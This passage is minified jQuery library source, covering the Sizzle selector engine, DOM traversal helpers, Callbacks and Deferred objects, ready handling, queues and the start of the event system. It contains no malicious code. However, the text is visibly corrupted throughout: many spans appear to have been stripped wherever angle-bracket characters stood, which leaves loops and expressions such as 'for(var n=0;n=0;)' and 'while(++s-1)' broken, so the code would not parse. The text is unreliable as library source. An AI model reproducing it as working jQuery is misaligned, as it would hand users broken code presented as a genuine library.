RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 